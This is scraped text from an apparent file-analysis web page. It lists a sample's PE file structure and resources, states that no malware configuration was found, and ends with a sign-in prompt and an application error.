0fe2e1a18
[NBF]root.Data
0fe2e1a19
[NBF]root.Data
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙